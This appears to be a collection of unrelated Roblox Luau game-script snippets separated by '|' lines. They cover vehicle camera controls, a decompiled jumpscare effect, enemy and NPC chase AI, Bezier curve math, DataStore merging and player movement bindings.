elseif input.UserInputState == Enum.UserInputState.End then
ButtonX=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonY then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonY=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonY=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonL1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonL1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonL1=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR1 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR1=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR1=0
end
elseif input.KeyCode ==Enum.KeyCode.DPadLeft then
if input.UserInputState == Enum.UserInputState.Begin then
DPadUp=1
elseif input.UserInputState == Enum.UserInputState.End then
DPadUp=0
end
elseif input.KeyCode ==Enum.KeyCode.ButtonR3 then
if input.UserInputState == Enum.UserInputState.Begin then
ButtonR3=1
elseif input.UserInputState == Enum.UserInputState.End then
ButtonR3=0
end
end
if input.UserInputType.Name:find("Gamepad") then --it's one of 4 gamepads
if input.KeyCode == Enum.KeyCode.Thumbstick1 then
LStickX = input.Position.X
elseif input.KeyCode == Enum.KeyCode.Thumbstick2 then
RStickX = input.Position.X
RStickY = input.Position.Y
elseif input.KeyCode == Enum.KeyCode.ButtonR2 then--right shoulder
RTriggerValue = input.Position.Z
elseif input.KeyCode == Enum.KeyCode.ButtonL2 then--left shoulder
LTriggerValue = input.Position.Z
end
end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)--keyboards don't activate with Changed, only Begin and Ended. idk if digital controller buttons do too
UserInputService.InputEnded:connect(DealWithInput)
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
for i,v in pairs(Binded) do
run:UnbindFromRenderStep(v)
end
workspace.CurrentCamera.CameraType=Enum.CameraType.Custom
workspace.CurrentCamera.FieldOfView=70
player.CameraMaxZoomDistance=400
getC(car.Misc.Anims,0)
getC(player.Character,0)
end
end)
function Camera()
local cam=workspace.CurrentCamera
local intcam=false
local CRot=0
local CBack=0
local CUp=0
local mode=0
local look=0
local camChange = 0
local function CamUpdate()
if not pcall (function()
if camChange==0 and DPadUp==1 then
intcam = not intcam
end
camChange=DPadUp
if mode==1 then
if math.abs(RStickX)>.1 then
local sPos=1
if RStickX<0 then sPos=-1 end
if intcam then
CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80
else
CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90
end
else
CRot=0
end
if math.abs(RStickY)>.1 then
local sPos=1
if RStickY<0 then sPos=-1 end
if intcam then
CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30
else
CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30)
end
else
CUp=0
end
else
if CRot>look then
CRot=math.max(look,CRot-20)
elseif CRot<look then
CRot=math.min(look,CRot+20)
end
CUp=0
end
if intcam then
CBack=0
else
CBack=-180*ButtonR3
end
if intcam then
getC(car.Misc.Anims,1)
getC(player.Character,1)
cam.CameraSubject=player.Character.Humanoid
cam.CameraType=Enum.CameraType.Scriptable
cam.FieldOfView=80
player.CameraMaxZoomDistance=0
local cf=car.Body.Cam.CFrame
if ButtonR3==1 then
cf=car.Body.RCam.CFrame
end
if apexlook then
look = car.Body.bal.Orientation.Z/3
end
cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,math.rad(-car.Body.bal.Orientation.Z))
else
getC(car.Misc.Anims,0)
getC(player.Character,0)
cam.CameraSubject=car.DriveSeat
cam.FieldOfView=70
if mode==0 then
cam.CameraType=Enum.CameraType.Custom
player.CameraMaxZoomDistance=400
run:UnbindFromRenderStep("CamUpdate")
else
cam.CameraType = "Scriptable"
local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500)
local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed)
cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position)
end
end
end) then
cam.FieldOfView=70
cam.CameraSubject=player.Character.Humanoid
cam.CameraType=Enum.CameraType.Custom
player.CameraMaxZoomDistance=400
run:UnbindFromRenderStep("CamUpdate")
end
end
local function ModeChange()
if GMode~=mode then
mode=GMode
run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
end
end
mouse.KeyDown:connect(function(key)
if key=="f" then
run:UnbindFromRenderStep("CamUpdate")
intcam=not intcam
run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate)
end
end)
run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange)
table.insert(Binded,"CamUpdate")
table.insert(Binded,"CMChange")
end
Camera()
mouse.KeyDown:connect(function(key)
if key=="b" then
if GMode>=1 then
GMode=0
else
GMode=GMode+1
end
if GMode==1 then
Controller=true
else
Controller=false
end
end
end)
|
-- Decompiled with the Synapse X Luau decompiler.
|
local u1 = require(script.Parent);
local u2 = script:FindFirstAncestor("MainUI");
return function(p1)
if p1 == "Rush" then
u1.deathtick = tick() + 10;
game.SoundService.Main.Volume = 0;
script.Jumpscare_Rush:Play();
u2.Jumpscare.Jumpscare_Rush.Visible = true;
local v1 = tick();
local v2 = math.random(5, 30) / 10;
local v3 = v2 + math.random(10, 60) / 10;
local v4 = 0.25;
for v5 = 1, 100000 do
task.wait();
if v1 + v2 <= tick() then
u2.Jumpscare.Jumpscare_Rush.ImageLabel.Visible = true;
v2 = v2 + math.random(7, 44) / 10;
script.Jumpscare_Rush.Pitch = 1 + math.random(-100, 100) / 500;
u2.Jumpscare.Jumpscare_Rush.BackgroundColor3 = Color3.new(0, 0, math.random(0, 10) / 255);
u2.Jumpscare.Jumpscare_Rush.ImageLabel.Position = UDim2.new(0.5, math.random(-2, 2), 0.5, math.random(-2, 2));
v4 = v4 + 0.05;
u2.Jumpscare.Jumpscare_Rush.ImageLabel.Size = UDim2.new(v4, 0, v4, 0);
end;
if v1 + v3 <= tick() then
break;
end;
end;
u2.Jumpscare.Jumpscare_Rush.ImageLabel.Visible = true;
script.Jumpscare_Rush:Stop();
script.Jumpscare_Rush2:Play();
u2.Jumpscare.Jumpscare_Rush.ImageLabel.Visible = false;
u2.Jumpscare.Jumpscare_Rush.ImageLabelBig.Visible = true;
u2.Jumpscare.Jumpscare_Rush.ImageLabelBig:TweenSize(UDim2.new(2.5, 0, 2.5, 0), "In", "Sine", 0.3, true);
local v6 = tick();
for v7 = 1, 1000 do
local v8 = math.random(0, 10) / 10;
u2.Jumpscare.Jumpscare_Rush.BackgroundColor3 = Color3.new(v8, v8, math.clamp(math.random(25, 50) / 50, v8, 1));
u2.Jumpscare.Jumpscare_Rush.ImageLabelBig.Position = UDim2.new(0.5 + math.random(-100, 100) / 5000, 0, 0.5 + math.random(-100, 100) / 3000, 0);
task.wait(0.016666666666666666);
if v6 + 0.3 <= tick() then
break;
end;
end;
u2.Jumpscare.Jumpscare_Rush.ImageLabelBig.Visible = false;
u2.Jumpscare.Jumpscare_Rush.BackgroundColor3 = Color3.new(0, 0, 0);
u2.Jumpscare.Jumpscare_Rush.Visible = false;
u1.deathtick = tick();
return;
end;
if p1 ~= "Ambush" then
return;
end;
u1.deathtick = tick() + 10;
game.SoundService.Main.Volume = 0;
script.Jumpscare_Ambush:Play();
u2.Jumpscare.Jumpscare_Ambush.Visible = true;
local v9 = tick();
local v10 = math.random(5, 30) / 100;
local v11 = v10 + math.random(10, 60) / 100;
local v12 = 0.2;
for v13 = 1, 100000 do
task.wait(0.016666666666666666);
u2.Jumpscare.Jumpscare_Ambush.ImageLabel.Position = UDim2.new(0.5, math.random(-15, 15), 0.5, math.random(-15, 15));
u2.Jumpscare.Jumpscare_Ambush.BackgroundColor3 = Color3.new(0, math.random(4, 10) / 255, math.random(0, 3) / 255);
if v9 + v10 <= tick() then
u2.Jumpscare.Jumpscare_Ambush.ImageLabel.Visible = true;
v10 = v10 + math.random(7, 44) / 100;
script.Jumpscare_Ambush.Pitch = math.random(35, 155) / 100;
u2.Jumpscare.Jumpscare_Ambush.BackgroundColor3 = Color3.new(0, math.random(4, 10) / 255, math.random(0, 3) / 255);
u2.Jumpscare.Jumpscare_Ambush.ImageLabel.Position = UDim2.new(0.5, math.random(-25, 25), 0.5, math.random(-25, 25));
v12 = v12 + 0.05;
u2.Jumpscare.Jumpscare_Ambush.ImageLabel.Size = UDim2.new(v12, 0, v12, 0);
end;
if v9 + v11 <= tick() then
break;
end;
end;
script.Jumpscare_Ambush2:Play();
u2.Jumpscare.Jumpscare_Ambush.ImageLabel.Visible = true;
u2.Jumpscare.Jumpscare_Ambush.ImageLabel:TweenSize(UDim2.new(9, 0, 9, 0), "In", "Quart", 0.3, true);
local v14 = tick();
for v15 = 1, 100 do
local v16 = math.random(0, 10) / 10;
u2.Jumpscare.Jumpscare_Ambush.BackgroundColor3 = Color3.new(v16, math.clamp(math.random(25, 50) / 50, v16, 1), math.clamp(math.random(25, 50) / 150, v16, 1));
game["Run Service"].RenderStepped:wait();
if v14 + 0.3 <= tick() then
break;
end;
end;
script.Jumpscare_Ambush:Stop();
u2.Jumpscare.Jumpscare_Ambush.ImageLabel.Visible = false;
u2.Jumpscare.Jumpscare_Ambush.BackgroundColor3 = Color3.new(0, 0, 0);
u2.Jumpscare.Jumpscare_Ambush.Visible = false;
u1.deathtick = tick();
end;
|
--------------------------
|
script.Parent.Pitch.Changed:connect(function()
for i,v in pairs(script.Parent:GetChildren()) do
if v:IsA("Sound") then v.Pitch = script.Parent.Pitch.Value/10 end
end
end)
|
-- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
|
local anim = animTable[animName][idx].anim
-- load it to the humanoid; get AnimationTrack
oldAnimTrack = currentAnimTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end
|
--[=[
Cleans up the BaseObject and sets the metatable to nil
]=]
|
function SpringObject:Destroy()
self._maid:DoCleaning()
setmetatable(self, nil)
end
return SpringObject
|
-- Enemy constructor
|
function Enemy.new(enemyType, location, target, difficulty)
assert(enemies[enemyType], "Invalid enemy type")
local self = setmetatable({}, Enemy)
self._model = enemies[enemyType]:Clone()
-- Disable unnecessary behaviors of humanoid to make game more efficient
self._model.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, false)
self._model.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing, false)
self._model.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming, false)
-- Set enemy health based on difficulty
self._model.Humanoid.MaxHealth = GameSettings.EnemyHealthDifficulty[difficulty]
self._model.Humanoid.Health = GameSettings.EnemyHealthDifficulty[difficulty]
-- Tag the enemy's model
CollectionService:AddTag(self._model, "Enemy")
self._model.Humanoid.Died:Connect(function()
self:_destroy()
end)
self._model.HumanoidRootPart.Touched:Connect(function(otherPart)
self:_onTouch(otherPart)
end)
self._target = target
self._active = false
self._model:SetPrimaryPartCFrame(location)
self._model.Parent = game.Workspace.Targets
return self
end
function Enemy:_update()
if self._model and self._model:FindFirstChild("Humanoid") then
local targetPosition = self._target.PrimaryPart.Position
local targetVelocity = self._target.PrimaryPart.AssemblyLinearVelocity
local predictedPosition = targetPosition + targetVelocity * 4
self._model.Humanoid:MoveTo(targetPosition)
end
end
|
--[[
The 'smarter' version of `cleanupOnDestroy` - this attempts to match the
results from the 'dumber' polling-based version by using events to reduce
processing.
I'd like to improve this technique in the future - it breaks in a fair few
edge cases right now, so in the interest of stability I don't want to adopt
it yet.
]]
|
local RunService = game:GetService("RunService")
local Package = script.Parent.Parent
local cleanup = require(Package.Utility.cleanup)
|
-- returns the tangent vector in the direction of the path made by the bezier at t (where t is relative to the length of the Bezier Curve)
-- does not work if the bezier does not have at least 2 points
-- the given t value must be between 0 and 1
|
function Bezier:CalculateDerivativeRelativeToLength(t: number): Vector3
-- check if t is a number between 0 and 1
if type(t) ~= "number" then
error("Bezier:CalculateDerivativeRelativeToLength() only accepts a number, got " .. tostring(t) .. "!")
end
-- start algorithm to calculate derivative in bezier
local points = self.Points
local numPoints = #points
-- check if there are at least 2 points
if numPoints > 1 then
-- important values
local length = self.Length
local lengthIndeces = self.LengthIndeces
local iterations = self.LengthIterations
local points = self:GetAllPoints()
-- get length of bezier
local targetLength = length * t
-- iterate through sum table
local nearestParameterIndex, nearestParameter
for i, orderedPair in ipairs(lengthIndeces) do
if targetLength - orderedPair[2] <= 0 then
nearestParameterIndex = i
nearestParameter = orderedPair
break
elseif i == #lengthIndeces then
nearestParameterIndex = i
nearestParameter = orderedPair
break
end
end
-- calculate percent error
local d0, d1
if lengthIndeces[nearestParameterIndex - 1] then
d0, d1 = self:CalculateDerivativeAt(lengthIndeces[nearestParameterIndex - 1][1]), self:CalculateDerivativeAt(nearestParameter[1])
else
d0, d1 = self:CalculateDerivativeAt(nearestParameter[1]), self:CalculateDerivativeAt(lengthIndeces[nearestParameterIndex + 1][1])
end
local percentError = (nearestParameter[2] - targetLength) / (d1 - d0).Magnitude
-- return the derivative at the nearestParameter
return d0 + (d1 - d0) * (1 - percentError)
else
-- not enough points to calculate derivative
error("Bezier:CalculateDerivativeRelativeToLength() only works if there are at least 2 BezierPoints!")
end
end
|
--// Variables
|
local L_1_ = script.Parent
local L_2_ = L_1_.Parent.Parent
local L_3_ = L_2_.Character
local L_4_ = game.ReplicatedStorage:FindFirstChild('[WB] Leaderstat Network') or nil
|
--[=[
Merges the new data into the original value
@param original table?
@return table -- The original table
]=]
|
function DataStoreWriter:WriteMerge(original)
original = original or {}
for key, value in pairs(self._rawSetData) do
if value == DataStoreDeleteToken then
original[key] = nil
else
original[key] = value
end
end
for key, writer in pairs(self._writers) do
if self._rawSetData[key] ~= nil then
warn(("[DataStoreWriter.WriteMerge] - Overwritting key %q already saved as rawData with a writer")
:format(tostring(key)))
end
local result = writer:WriteMerge(original[key])
if result == DataStoreDeleteToken then
original[key] = nil
else
original[key] = result
end
end
return original
end
return DataStoreWriter
|
-- Table of camera controllers that have been instantiated. They are instantiated as they are used.
|
local instantiatedCameraControllers = {}
local instantiatedOcclusionModules = {}
|
--[[Weight and CG]]
|
Tune.Weight = 1000 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensionws in studs ; larger = more stable)
--[[Width]] 6.5 ,
--[[Height]] 4.8 ,
--[[Length]] 17 }
Tune.WeightDist = 51 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .7 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = MORE STABLE / carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
--!nonstrict
-- Roblox character sound script
|
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local AtomicBinding = require(script:WaitForChild("AtomicBinding"))
local function loadFlag(flag: string)
local success, result = pcall(function()
return UserSettings():IsUserFeatureEnabled(flag)
end)
return success and result
end
local SOUND_DATA : { [string]: {[string]: any}} = {
Climbing = {
SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
Looped = true,
},
Died = {
SoundId = "",
},
FreeFalling = {
SoundId = "",
Looped = true,
},
GettingUp = {
SoundId = "",
},
Jumping = {
SoundId = "",
},
Landing = {
SoundId = "",
},
Running = {
SoundId = "",
Looped = true,
Pitch = 1.85,
},
Splash = {
SoundId = "",
},
Swimming = {
SoundId = "",
Looped = true,
Pitch = 1.6,
},
}
|
--Made by Luckymaxer
|
Model = script.Parent
Creator = Model:FindFirstChild("Creator")
Enabled = false
wait(1)
if Creator and Creator.Value and Creator.Value.Parent and Creator.Value:IsA("Player") and Creator.Value.Character then
Player = Creator.Value
Character = Player.Character
Humanoid = Character:FindFirstChild("Humanoid")
if Humanoid and Humanoid.Health > 0 then
Player.Changed:connect(function(Property)
if Property == "Parent" and not Player.Parent then
Model:Destroy()
end
end)
Character.Changed:connect(function(Property)
if Property == "Parent" and not Character.Parent then
Model:Destroy()
end
end)
Humanoid.Died:connect(function()
Model:Destroy()
end)
Enabled = true
end
end
if not Enabled then
Model:Destroy()
end
|
--[[ Constants ]]
|
--
local DPAD_SHEET = "rbxasset://textures/ui/DPadSheet.png"
local TOUCH_CONTROL_SHEET = "rbxasset://textures/ui/TouchControlsSheet.png"
|
-- RemoteProperty
-- Stephen Leitnick
-- December 20, 2021
|
local Players = game:GetService("Players")
local Util = require(script.Parent.Parent.Util)
local Types = require(script.Parent.Parent.Types)
local RemoteSignal = require(script.Parent.RemoteSignal)
local None = Util.None
|
--example of use:
|
shakeCamera(1, script.Parent.HumanoidRootPart.Position, true)
|
----------------------------------------------------------------------------------------------------
------------------=[ Status UI ]=-------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,EnableStatusUI = false --- Don't disabled it...
,RunWalkSpeed = 22
,NormalWalkSpeed = 16
,SlowPaceWalkSpeed = 8
,CrouchWalkSpeed = 8
,ProneWalksSpeed = 4
,EnableHunger = false --- Hunger and Thirst system
,HungerWaitTime = 25
,CanDrown = true --- Welp.. That's it
,EnableStamina = true --- Weapon Sway based on stamina
,RunValue = 1 --- Stamina consumption
,StandRecover = .25 --- Stamina recovery while stading
,CrouchRecover = .5 --- Stamina recovery while crouching
,ProneRecover = 1 --- Stamina recovery while lying
,EnableGPS = false --- GPS shows your allies around you
,GPSdistance = 150
,InteractionMenuKey = Enum.KeyCode.LeftControl
|
--[[ Public API ]]
|
--
function KeyboardMovement:Enable()
if not UserInputService.KeyboardEnabled then
return
end
local forwardValue = 0
local backwardValue = 0
local leftValue = 0
local rightValue = 0
local updateMovement = function()
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(leftValue + rightValue,0,forwardValue + backwardValue)
MasterControl:AddToPlayerMovement(currentMoveVector)
end
local moveForwardFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.Begin then
forwardValue = -1
elseif inputState == Enum.UserInputState.End then
forwardValue = 0
end
updateMovement()
end
local moveBackwardFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.Begin then
backwardValue = 1
elseif inputState == Enum.UserInputState.End then
backwardValue = 0
end
updateMovement()
end
local moveLeftFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.Begin then
leftValue = -1
elseif inputState == Enum.UserInputState.End then
leftValue = 0
end
updateMovement()
end
local moveRightFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.Begin then
rightValue = 1
elseif inputState == Enum.UserInputState.End then
rightValue = 0
end
updateMovement()
end
local jumpFunc = function(actionName, inputState, inputObject)
MasterControl:SetIsJumping(inputState == Enum.UserInputState.Begin)
end
-- TODO: remove up and down arrows, these seem unnecessary
ContextActionService:BindActionToInputTypes("forwardMovement", moveForwardFunc, false, Enum.PlayerActions.CharacterForward)
ContextActionService:BindActionToInputTypes("backwardMovement", moveBackwardFunc, false, Enum.PlayerActions.CharacterBackward)
ContextActionService:BindActionToInputTypes("leftMovement", moveLeftFunc, false, Enum.PlayerActions.CharacterLeft)
ContextActionService:BindActionToInputTypes("rightMovement", moveRightFunc, false, Enum.PlayerActions.CharacterRight)
ContextActionService:BindActionToInputTypes("jumpAction", jumpFunc, false, Enum.PlayerActions.CharacterJump)
-- TODO: make sure we check key state before binding to check if key is already down
local function onFocusReleased()
local humanoid = getHumanoid()
if humanoid then
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0, 0, 0)
forwardValue, backwardValue, leftValue, rightValue = 0, 0, 0, 0
MasterControl:SetIsJumping(false)
end
end
local function onTextFocusGained(textboxFocused)
MasterControl:SetIsJumping(false)
end
SeatJumpCn = UserInputService.InputBegan:connect(function(inputObject, isProcessed)
if inputObject.KeyCode == Enum.KeyCode.Backspace and not isProcessed then
local humanoid = getHumanoid()
if humanoid and (humanoid.Sit or humanoid.PlatformStand) then
MasterControl:DoJump()
end
end
end)
TextFocusReleasedCn = UserInputService.TextBoxFocusReleased:connect(onFocusReleased)
TextFocusGainedCn = UserInputService.TextBoxFocused:connect(onTextFocusGained)
-- TODO: remove pcall when API is live
WindowFocusReleasedCn = UserInputService.WindowFocused:connect(onFocusReleased)
end
function KeyboardMovement:Disable()
ContextActionService:UnbindAction("forwardMovement")
ContextActionService:UnbindAction("backwardMovement")
ContextActionService:UnbindAction("leftMovement")
ContextActionService:UnbindAction("rightMovement")
ContextActionService:UnbindAction("jumpAction")
if SeatJumpCn then
SeatJumpCn:disconnect()
SeatJumpCn = nil
end
if TextFocusReleasedCn then
TextFocusReleasedCn:disconnect()
TextFocusReleasedCn = nil
end
if TextFocusGainedCn then
TextFocusGainedCn:disconnect()
TextFocusGainedCn = nil
end
if WindowFocusReleasedCn then
WindowFocusReleasedCn:disconnect()
WindowFocusReleasedCn = nil
end
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
MasterControl:SetIsJumping(false)
end
return KeyboardMovement
|
--This module is for any client FX related to the first door on the left.
|
local DoorFX = {}
local tweenService = game:GetService("TweenService")
local tweenInfo = TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut)
function DoorFX.OPEN(door)
if not door then return end
tweenService:Create(door.Door.Main, tweenInfo, {CFrame = door.Door.Goal.CFrame}):Play()
door.Door.Main.DoorOpenFADEOUT:Play()
end
function DoorFX.CLOSE(door)
if not door then return end
door.Door.Main.CFrame = door.Door.Home.CFrame
end
return DoorFX
|
--[[ By: Brutez. ]]
|
--
local FreeSCP096Script=script;
local FreeSCP096=FreeSCP096Script.Parent;
local FreeSCP096Humanoid=nil;
local FreeSCP096Head=FreeSCP096:FindFirstChild("Head");
local FreeSCP096Idle=FreeSCP096Head:FindFirstChild("Idle");
local FreeSCP096Panic=FreeSCP096Head:FindFirstChild("Panic");
local FreeSCP096Scream=FreeSCP096Head:FindFirstChild("Scream");
local FreeSCP096Kill=FreeSCP096Head:FindFirstChild("Damage5");
local FreeSCP096Torso=FreeSCP096:FindFirstChild("Torso");
for _,Child in pairs(FreeSCP096:GetChildren())do
if Child.ClassName=="Humanoid"then
FreeSCP096Humanoid=Child;
end
end
local NoticeDistanceTime=0;
local Noticed=false;
function findNearestTorso(pos)
local NoticeDistance=250;
local torso=nil;
for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
if TargetModel.className=="Model"and TargetModel~=FreeSCP096 and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then
local TargetPart=TargetModel:FindFirstChild("Torso")
local FoundHumanoid=nil;
for _,Child in pairs(TargetModel:GetChildren())do
if Child.ClassName=="Humanoid"then
FoundHumanoid=Child;
end
end
if TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<NoticeDistance then
if not Noticed and TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<20 then
if FreeSCP096Idle.IsPlaying then
FreeSCP096Idle:Stop()
end
if FreeSCP096Scream.IsPlaying then
FreeSCP096Scream:Stop()
end
FreeSCP096Panic:Play()
FreeSCP096Humanoid.WalkSpeed=1;
Wait(12)
Noticed=true
end
if Noticed then
torso=TargetPart;
NoticeDistance=(TargetPart.Position-pos).magnitude;
end;
end;
if TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<6 then
FreeSCP096Kill:Play()
FoundHumanoid:TakeDamage(99999e99999)
end
end
end
return torso
end
while Wait(0)do
FreeSCP096Humanoid.MaxHealth=99999e99999
FreeSCP096Humanoid.Health=99999e99999
if FreeSCP096Humanoid and not FreeSCP096Humanoid.AutoJumpEnabled then
FreeSCP096Humanoid.AutoJumpEnabled=true;
end
if FreeSCP096Humanoid and not FreeSCP096Humanoid.AutoRotate then
FreeSCP096Humanoid.AutoRotate=true;
end
if FreeSCP096Humanoid and FreeSCP096Humanoid.PlatformStand then
FreeSCP096Humanoid.PlatformStand=false;
end
if FreeSCP096Humanoid and FreeSCP096Humanoid.Sit then
FreeSCP096Humanoid.Sit=false;
end
if Noticed then
NoticeDistanceTime=NoticeDistanceTime+1
if NoticeDistanceTime==500 or NoticeDistanceTime>500 then
Noticed=false;
NoticeDistanceTime=0
end
end
local TargetPart=findNearestTorso(FreeSCP096Torso.Position);
if TargetPart then
if TargetPart and (TargetPart.Position-FreeSCP096Torso.Position).magnitude<50 and NoticeDistanceTime>0 then
NoticeDistanceTime=NoticeDistanceTime-2
end
if FreeSCP096Idle.IsPlaying then
FreeSCP096Idle:Stop()
end
if not FreeSCP096Scream.IsPlaying then
FreeSCP096Scream:Play()
end
FreeSCP096Humanoid.WalkSpeed=35;
FreeSCP096Humanoid:MoveTo(TargetPart.Position+Vector3.new(math.random(-4,4),TargetPart.Position.Y,math.random(-4,4)),TargetPart);
else
if not FreeSCP096Idle.IsPlaying then
FreeSCP096Idle:Play()
end
if FreeSCP096Scream.IsPlaying then
FreeSCP096Scream:Stop()
end
FreeSCP096Humanoid.WalkSpeed=10;
local WanderChance=math.random(1,50);
local JumpChance=math.random(1,100);
if WanderChance==10 then
local randompos=FreeSCP096Torso.Position+((Vector3.new(1,0,1)*math.random()-Vector3.new(.5,0,.5))*40);
FreeSCP096Humanoid:MoveTo(randompos,game.Workspace.Terrain);
end
if JumpChance==10 then
FreeSCP096Humanoid.Jump=true;
end
end
end
|
--light setup!--
|
local mod = pln:findFirstChild("Lights")
for i,v in pairs(mod:GetChildren()) do
mod:findFirstChild("FlashScript").Disabled = true
if(v.className == "Part") then
if(v:findFirstChild("Gui").Enabled == true) then
v:findFirstChild("Gui").Enabled = false
end
if(v:findFirstChild("Gui").Adornee == nil) then
v:findFirstChild("Gui").Adornee = v:findFirstChild("Gui").Parent
end end end
|
--[=[
Creates an immediately resolved Promise with the given value.
```lua
-- Example using Promise.resolve to deliver cached values:
function getSomething(name)
if cache[name] then
return Promise.resolve(cache[name])
else
return Promise.new(function(resolve, reject)
local thing = getTheThing()
cache[name] = thing
resolve(thing)
end)
end
end
```
@param ... any
@return Promise<...any>
]=]
|
function Promise.resolve(...)
local length, values = pack(...)
return Promise._new(debug.traceback(nil, 2), function(resolve)
resolve(unpack(values, 1, length))
end)
end
|
--Modules
|
local WaitService = game.ReplicatedStorage.Modules.WaitService
local Replication_Module = require(game.ReplicatedStorage.Modules.Local_Reaction)
|
-- dir = newdir
|
--dir = dir.unit
--newBV.velocity = dir * 32
--end
--newBG.cframe = CFrame.new(torso.Position, target*Vector3.new(1,0,1) + Vector3.new(0, torso.Position.Y, 0) ) * CFrame.Angles(-math.pi/2, 0, 0)
--wait(.1)
--end
-- end of testing for fun
--for i = 1, 3 do
|
--[[
[Whether the whole character turns to face the mouse.]
[If set to true, MseGuide will be set to true and both HeadHorFactor and BodyHorFactor will be set to 0]
--]]
|
local TurnCharacterToMouse = false
|
--[[Drivetrain Initialize]]
|
local Drive={}
--Power Front Wheels
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
table.insert(Drive,v)
end
end
end
--Power Rear Wheels
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="RL" or v.Name=="RR" or v.Name=="R" then
table.insert(Drive,v)
end
end
end
--Determine Wheel Size
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
--Pre-Toggled PBrake
for i,v in pairs(car.Wheels:GetChildren()) do
if math.abs(v["#AV"].maxTorque.Magnitude-PBrakeForce)<1 then
_PBrake=true
end
end
|
--// Events
|
local L_100_ = L_20_:WaitForChild('Equipped')
local L_101_ = L_20_:WaitForChild('ShootEvent')
local L_102_ = L_20_:WaitForChild('DamageEvent')
local L_103_ = L_20_:WaitForChild('CreateOwner')
local L_104_ = L_20_:WaitForChild('Stance')
local L_105_ = L_20_:WaitForChild('HitEvent')
local L_106_ = L_20_:WaitForChild('KillEvent')
local L_107_ = L_20_:WaitForChild('AimEvent')
local L_108_ = L_20_:WaitForChild('ExploEvent')
|
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
|
local damagetime
local damagedb = false
for _, zambieparts in pairs(zombie:GetChildren())do
if zambieparts:IsA'Part' and human.Health > 0 then
zambieparts.Touched:connect(function(p)
if p.Parent.Name == chaseName and p.Parent.Name ~= zombie.Name and not damagedb then -- damage
damagedb = true
damagetime = time()
local enemy = p.Parent
local enemyhuman = getHumanoid(enemy)
vars.Attacking.Value = true
enemyhuman.WalkSpeed = 0
local animation = script.Parent.Zombie:LoadAnimation(script.Parent.Attack)
animation:Play()
script.Parent.HumanoidRootPart.Theme:Stop()
head.Jumpscare:Play()
wait(0.83)
head.Hit2:Play()
enemyhuman:TakeDamage(ZombieDamage)
wait(1)
